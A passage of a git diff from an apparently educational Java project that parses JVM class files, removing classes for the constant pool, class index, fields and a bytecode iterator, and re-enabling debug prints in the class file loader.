-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	
-	private List<Field> fields;
-	private List<Method> methods;
-	
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	
-	
-	
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-	
-	public void print(){
-		
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		
-		System.out.println("Super Class Name:"+ getSuperClassName());
-		
-		
-	}
-	
-	private String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	private String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-	
-	public void setFields(List<Field> fields){
-		this.fields = fields;
-	}
-	
-	public void setMethods(List<Method> methods){
-		this.methods = methods;
-	}
-	
-	public List<Field> getFields(){
-		return fields;
-	}
-	
-	public List<Method> getMethods(){
-		return methods;
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/clz/ClassIndex.java b/group17/1282579502/src/com/coderising/jvm/clz/ClassIndex.java
deleted file mode 100755
index e424f284b3..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.clz;
-
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/ClassInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/ClassInfo.java
deleted file mode 100755
index aea9048ea4..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfo.java
deleted file mode 100755
index 4ddac90612..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int INTEGER_INFO = 3;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfoFactory.java b/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfoFactory.java
deleted file mode 100644
index ce35409add..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfoFactory.java
+++ /dev/null
@@ -1,93 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-import com.coderising.jvm.util.Util;
-
-public class ConstantInfoFactory {
-	public ByteCodeIterator iter = null;
-	public ConstantPool pool = null;
-	public ConstantInfoFactory(ByteCodeIterator iter, ConstantPool pool){
-		this.iter = iter;
-		this.pool = pool;
-	}
-	
-	public void fillNextConstantInfo() throws InvalidConstantInfoTypeException, UnsupportedEncodingException{
-		int constantIdentifier = iter.getNextByte();
-		ConstantInfo var = null;
-		//System.out.println("constant identifyer: " + constantIdentifier);
-			var = classify(constantIdentifier);
-			pool.addConstantInfo(var);
-	}
-	
-	public ConstantInfo classify(int constantInfoTypeId) throws InvalidConstantInfoTypeException, UnsupportedEncodingException{
-		ConstantInfo ret = null;
-		switch(constantInfoTypeId){
-		case ConstantInfo.CLASS_INFO:
-			ClassInfo classInfo = new ClassInfo(pool);
-			byte[] utf8Index = iter.getNextNBytes(2);
-			//System.out.println("constant classInfo: utf index: " + Util.byteToInt(utf8Index)); 
-			classInfo.setUtf8Index(Util.byteToInt(utf8Index));
-			ret = classInfo;
-			
-		break;
-		case ConstantInfo.FIELD_INFO:
-			FieldRefInfo fieldInfo = new FieldRefInfo(pool);
-			int classInfoIndex = Util.byteToInt(iter.getNextNBytes(2));
-			fieldInfo.setClassInfoIndex(classInfoIndex);
-			int nameAndTypeIndex = Util.byteToInt(iter.getNextNBytes(2));
-			fieldInfo.setNameAndTypeIndex(nameAndTypeIndex);
-			ret = fieldInfo;
-		break;
-		case ConstantInfo.INTEGER_INFO:
-			IntegerInfo integerInfo = new IntegerInfo(pool);
-			int val = Util.byteToInt(iter.getNextNBytes(4));
-			integerInfo.setInteger(val);
-			ret = integerInfo;
-		break;
-		case ConstantInfo.FLOAT_INFO:
-			FloatRefInfo floatInfo = new FloatRefInfo(pool);
-			ret = floatInfo;
-			throw new InvalidConstantInfoTypeException("Flat info has not been properly implemented yet");
-		//break;
-		case ConstantInfo.METHOD_INFO:
-			MethodRefInfo methodInfo = new MethodRefInfo(pool);
-			int methodClassInfoIndex = Util.byteToInt(iter.getNextNBytes(2));
-			methodInfo.setClassInfoIndex(methodClassInfoIndex);
-			int methodNameAndTypeIndex = Util.byteToInt(iter.getNextNBytes(2));
-			methodInfo.setNameAndTypeIndex(methodNameAndTypeIndex);
-			ret = methodInfo;
-		break;
-		case ConstantInfo.NAME_AND_TYPE_INFO:
-			NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
-			int nameIndex = Util.byteToInt(iter.getNextNBytes(2));
-			nameAndTypeInfo.setIndex1(nameIndex);
-			int descriptorIndex = Util.byteToInt(iter.getNextNBytes(2));
-			nameAndTypeInfo.setIndex2(descriptorIndex);
-			ret = nameAndTypeInfo;
-		break;
-		case ConstantInfo.STRING_INFO:
-			StringInfo stringInfo = new StringInfo(pool);
-			int index = Util.byteToInt(iter.getNextNBytes(2));
-			stringInfo.setIndex(index);
-			ret = stringInfo;
-		break;
-		case ConstantInfo.UTF8_INFO:
-			UTF8Info utfInfo = new UTF8Info(pool);
-			int length = Util.byteToInt(iter.getNextNBytes(2));
-			utfInfo.setLength(length);
-
-			String utf8Val = new String(iter.getNextNBytes(length), "UTF-8");
-			System.out.println("UTF 8 content " + utf8Val); 
-			
-			utfInfo.setValue(utf8Val);
-			ret = utfInfo;
-		break;
-		
-		default:
-			throw new InvalidConstantInfoTypeException();
-		}
-		return ret;
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/ConstantPool.java b/group17/1282579502/src/com/coderising/jvm/constant/ConstantPool.java
deleted file mode 100755
index 59ad734f25..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		System.out.println("added: " + info.getClass().getName() + " current size; " + constantInfos.size());
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public int getSize() {		
-		return this.constantInfos.size() -1;
-	}
-	
-	public String toString(){
-		StringBuilder sb = new StringBuilder();
-		for(int i = 0; i<constantInfos.size(); i++){
-			sb.append(constantInfos.get(i) + "\n");
-		}
-		return sb.toString();
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/FieldRefInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/FieldRefInfo.java
deleted file mode 100755
index 65475e194c..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/FloatRefInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/FloatRefInfo.java
deleted file mode 100644
index 356216a166..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/FloatRefInfo.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FloatRefInfo extends ClassInfo{
-
-	public FloatRefInfo(ConstantPool pool) {
-		super(pool);
-		// TODO Auto-generated constructor stub
-	}
-	
-	public int getType(){
-		return ConstantInfo.FLOAT_INFO;
-	}
-	
-
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/IntegerInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/IntegerInfo.java
deleted file mode 100644
index 1980de8f2f..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/IntegerInfo.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class IntegerInfo extends ConstantInfo{
-
-	int val = 0;
-	public IntegerInfo(ConstantPool pool) {
-		super(pool);
-		// TODO Auto-generated constructor stub
-	}
-	
-	public int getType(){
-		return ConstantInfo.INTEGER_INFO;
-	}
-	
-	public void setInteger(int val){
-		this.val = val;
-	}
-	
-	public int getInteger(){
-		return val;
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/InvalidConstantInfoTypeException.java b/group17/1282579502/src/com/coderising/jvm/constant/InvalidConstantInfoTypeException.java
deleted file mode 100644
index ac33ac7f9c..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/InvalidConstantInfoTypeException.java
+++ /dev/null
@@ -1,11 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class InvalidConstantInfoTypeException extends Exception{
-
-	public InvalidConstantInfoTypeException(){
-		super();
-	} 
-	public InvalidConstantInfoTypeException(String message){
-		super(message);
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/MethodRefInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/MethodRefInfo.java
deleted file mode 100755
index 7f05870020..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-	
-	
-	
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/NameAndTypeInfo.java
deleted file mode 100755
index 402f9dec86..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,45 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/NullConstantInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/NullConstantInfo.java
deleted file mode 100755
index 936736016f..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/StringInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/StringInfo.java
deleted file mode 100755
index f1f8eb4ed4..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-	
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/UTF8Info.java b/group17/1282579502/src/com/coderising/jvm/constant/UTF8Info.java
deleted file mode 100755
index 5cac9f04f7..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	
-	
-
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/field/Field.java b/group17/1282579502/src/com/coderising/jvm/field/Field.java
deleted file mode 100644
index e9070fbc76..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/field/Field.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.coderising.jvm.field;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.attr.AttributeInfo;
-import com.coderising.jvm.attr.InvalidAttributeInfoException;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-
-public class Field {
-	private int accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	
-	
-	
-	private ConstantPool pool;
-	
-	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
-		
-		this.accessFlag = accessFlag;
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.pool = pool;
-	}
-
-	public static Field parse(ConstantPool pool,ByteCodeIterator iter) throws InvalidAttributeInfoException{
-		int accessFlag = iter.getNextNBytesInteger(2);
-		int nameIndex = iter.getNextNBytesInteger(2);
-		int descriptorIndex = iter.getNextNBytesInteger(2);
-		int attributeCount = iter.getNextNBytesInteger(2);
-		List<AttributeInfo> attributeList = new ArrayList<>();
-		for(int i = 0; i<attributeCount; i++){
-			
-		}
-		if(attributeCount>0){
-			throw new InvalidAttributeInfoException("Attribute infomation is NOT valid.");
-		}
-		Field newField = new Field(accessFlag, nameIndex, descriptorIndex,pool);
-		return newField;
-	}
-	
-	public String toString(){
-		return pool.getUTF8String(nameIndex) + ":" +pool.getUTF8String( descriptorIndex);
-	}
-
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/interfaze/Interfaze.java b/group17/1282579502/src/com/coderising/jvm/interfaze/Interfaze.java
deleted file mode 100644
index 7d1f90c030..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/interfaze/Interfaze.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.jvm.interfaze;
-
-public class Interfaze {
-
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/interfaze/InvalidInterfaceException.java b/group17/1282579502/src/com/coderising/jvm/interfaze/InvalidInterfaceException.java
deleted file mode 100644
index b5eed64afc..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/interfaze/InvalidInterfaceException.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coderising.jvm.interfaze;
-
-public class InvalidInterfaceException extends Exception{
-	public InvalidInterfaceException(String message){
-		super(message);
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group17/1282579502/src/com/coderising/jvm/loader/ByteCodeIterator.java
deleted file mode 100755
index b34c2c6736..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,84 +0,0 @@
-package com.coderising.jvm.loader;
-
-import com.coderising.jvm.util.Util;
-
-public class ByteCodeIterator {
-	
-	byte[] source = null;
-	int currentPos = 0;
-	
-	public ByteCodeIterator(byte[] source){
-		this.source = source;
-	}
-	
-	public byte getNextByte(){
-		if(currentPos > source.length -1){
-			throw new IndexOutOfBoundsException();
-		}
-		return getByteAt(currentPos++);
-	}
-	
-	public byte[] getNextNBytes(int n){
-		byte[] retArray = new byte[n];
-		for(int i = 0; i<n; i++){
-			retArray[i] = getNextByte();
-		}
-		return retArray;
-	}
-	
-	public byte getByteAt(int n){
-		if(n>source.length-1){
-			throw new IndexOutOfBoundsException();
-		}
-		return source[n];
-	}
-
-	
-	public String getNextHexString(){
-		byte b1 = getNextByte();
-		int i1 = b1 & 0xFF;
-		String strVal = Integer.toHexString(i1);
-		if(strVal.length() < 2){
-			strVal = "0".concat(strVal);
-		}
-		return strVal;
-	}
-	
-	public String getNextNHexString(int n){
-		StringBuilder sb = new StringBuilder();
-		while(n-->0){
-			sb.append(getNextHexString());
-		}
-		
-		return sb.toString();
-	}
-	
-	public String peekNextNHex(int n){
-		String val =  getNextNHexString(n);
-		backOffNBytes(n);
-		return val;
-	}
-	
-	public void backOffNBytes(int n){
-		if(n < currentPos){
-		currentPos -=n;
-		}
-		else{
-			System.err.println("Don't have enough bytes.");
-		}
-	}
-	
-	public int getNextNBytesInteger(int n){
-		byte[] barray = getNextNBytes(n);
-		return Util.byteToInt(barray);
-	}
-	
-	
-	public static void printByteInNumber(byte b){
-		int tmp = b;
-		System.out.println(Integer.toBinaryString(tmp));
-		int tmp1 = tmp & 0xFF;
-		System.out.println(Integer.toBinaryString(tmp1));
-		System.out.println(Integer.toHexString(tmp1));
-	}
-}
diff --git a/group17/1282579502/src/com/coderising/jvm/loader/ClassFileLoader.java b/group17/1282579502/src/com/coderising/jvm/loader/ClassFileLoader.java
index ec9ea83caf..6d669e294f 100644
--- a/group17/1282579502/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group17/1282579502/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -9,24 +9,18 @@
 import java.util.Collection;
 import java.util.List;
 
-import com.coderising.jvm.clz.ClassFile;
-
 
 
 public class ClassFileLoader {
 
 	private List<String> clzPaths = new ArrayList<String>();
 	
-	public ClassFileLoader(){
-		
-	}
-	
 	public byte[] readBinaryCode(String className) {
 		String classPath = convertToFilePath(className);
 		File targetFile = null;
 		for(int i = 0; i< clzPaths.size(); i++){
 			String fullPath = clzPaths.get(i)+File.separator+classPath;
-			//System.out.println("path: " + fullPath); 
+			System.out.println("path: " + fullPath); 
 			File temp = new File(fullPath);
 			if(temp.exists()) {
 				targetFile = temp;
@@ -35,10 +29,10 @@ public byte[] readBinaryCode(String className) {
 		}
 		
 		if(targetFile != null){
-			//System.out.println("targetFile: " + targetFile.getAbsolutePath());
+			System.out.println("targetFile: " + targetFile.getAbsolutePath());
 		}
 		long fileLength = targetFile.length();
-		//System.out.println("File length: " + fileLength); 
+		System.out.println("File length: " + fileLength); 
 		byte[] byteArray = new byte[(int)fileLength];
 		FileInputStream is = null;
 		try {
@@ -67,14 +61,6 @@ public byte[] readBinaryCode(String className) {
 		
 	}
 	
-	public ClassFile loadClass(String className){
-		byte[] ba = readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(ba);
-	}
-	
-	
-	
 	private String convertToFilePath(String className){
 		return className.replaceAll("\\.", File.separator) + ".class";
 	}
diff --git a/group17/1282579502/src/com/coderising/jvm/loader/ClassFileParser.java b/group17/1282579502/src/com/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100755
index c168129abc..0000000000
--- a/group17/1282579502/src/com/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,165 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-import java.util.ArrayList;
-import java.util.LinkedList;
-import java.util.List;
-
-import com.coderising.jvm.attr.InvalidAttributeInfoException;
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantInfoFactory;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.InvalidConstantInfoTypeException;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.interfaze.Interfaze;
-import com.coderising.jvm.interfaze.InvalidInterfaceException;
-import com.coderising.jvm.method.InvalidMethodInfoException;
-import com.coderising.jvm.method.Method;
-
-public class ClassFileParser {
-	ClassFile clz = null;
-	public ClassFile parse(byte[] codes) {
-		clz = new ClassFile();
-		ByteCodeIterator iter = new ByteCodeIterator(codes);
-		String magicHex = iter.getNextNHexString(4);
-		System.out.println("Magic Number: "+magicHex);
-		try{
-			String minorHex = iter.getNextHexString() + iter.getNextHexString();
-			int minorVersionInt = Integer.parseInt(minorHex, 16);
-			String majorHex = iter.getNextHexString() + iter.getNextHexString();
-			int majorVersionInt = Integer.parseInt(majorHex, 16);
-			clz.setMajorVersion(majorVersionInt);clz.setMinorVersion(minorVersionInt);
-			System.out.println("Major version: " + majorVersionInt + " minor version: " + minorVersionInt);
-			clz.setConstPool(parseConstantPool(iter));
-			fillClassInfo(clz, clz.getConstantPool());
-			System.out.println(iter.peekNextNHex(8));
-			parseAccessFlag(iter);
-			parseClassInfex(iter);parseClassInfex(iter);
-			parseInterface(iter);
-			parseFields(iter);
-			parseMethods(iter);
-		}
-		catch(Exception e){
-			e.printStackTrace();
-		}
-		return clz;
-	}
-
-	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-		ConstantPool cp = clz.getConstantPool();
-		int visitFlagIndex = iter.getNextNBytesInteger(2);
-		System.out.println("visit flag index: " + visitFlagIndex + " variable value: " + cp.getUTF8String(visitFlagIndex));
-		return null;
-	}
-
-	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-		int classInfIndex = iter.getNextNBytesInteger(2);
-		System.out.println("class info: " + classInfIndex);
-		return null;
-
-	}
-	
-	private List<Interfaze> parseInterface(ByteCodeIterator iter) throws InvalidInterfaceException{
-		int interfaceCount = iter.getNextNBytesInteger(2);
-		if(interfaceCount>0){
-			throw new InvalidInterfaceException("Unimplemented interface parser: " + interfaceCount);
-		}
-		return null;
-	}
-	
-	private void parseFields(ByteCodeIterator iter){
-		int fieldsCount = iter.getNextNBytesInteger(2);
-		System.out.println("Fields count: " + fieldsCount);
-		List<Field> fields = new LinkedList<>();
-		for(int i = 0; i<fieldsCount; i++){
-			Field f = null;
-			try {
-				f = Field.parse(clz.getConstantPool(), iter);
-			} catch (InvalidAttributeInfoException e) {
-				// TODO Auto-generated catch block
-				e.printStackTrace();
-			}
-			fields.add(f);
-		}
-		clz.setFields(fields);
-	}
-	
-	private void parseMethods(ByteCodeIterator iter){
-		int methodCount = iter.getNextNBytesInteger(2);
-		System.out.println("Methods count: " + methodCount);
-		List<Method> methods = new ArrayList<>();
-		for(int i = 0; i<methodCount; i++){
-			Method m = null;
-			try{
-				m = Method.parse(clz, iter);
-				System.out.println("dumpping method: " + m);
-				methods.add(m);
-				
-			} catch(InvalidMethodInfoException e){
-				e.printStackTrace();
-			}
-		}
-		for(int i = 0; i<methods.size(); i++){
-			System.out.println("class method dump: " + methods.get(i) );
-		}
-		clz.setMethods(methods);
-	}
-	
-	private void fillClassInfo(ClassFile clz, ConstantPool pool){
-		ClassIndex newClassIndex = new ClassIndex();
-		clz.setClassIndex(newClassIndex);
-		for(int i = 0; i< pool.getSize(); i++){
-			if(pool.getConstantInfo(i) instanceof ClassInfo){
-				if(clz.getClzIndex().getThisClassIndex() == 0){
-					System.out.println("class");
-					clz.getClzIndex().setThisClassIndex(i);
-				}
-				else if(clz.getClzIndex().getSuperClassIndex() == 0){
-					clz.getClzIndex().setSuperClassIndex(i);
-				}
-				else{
-					break;
-				}
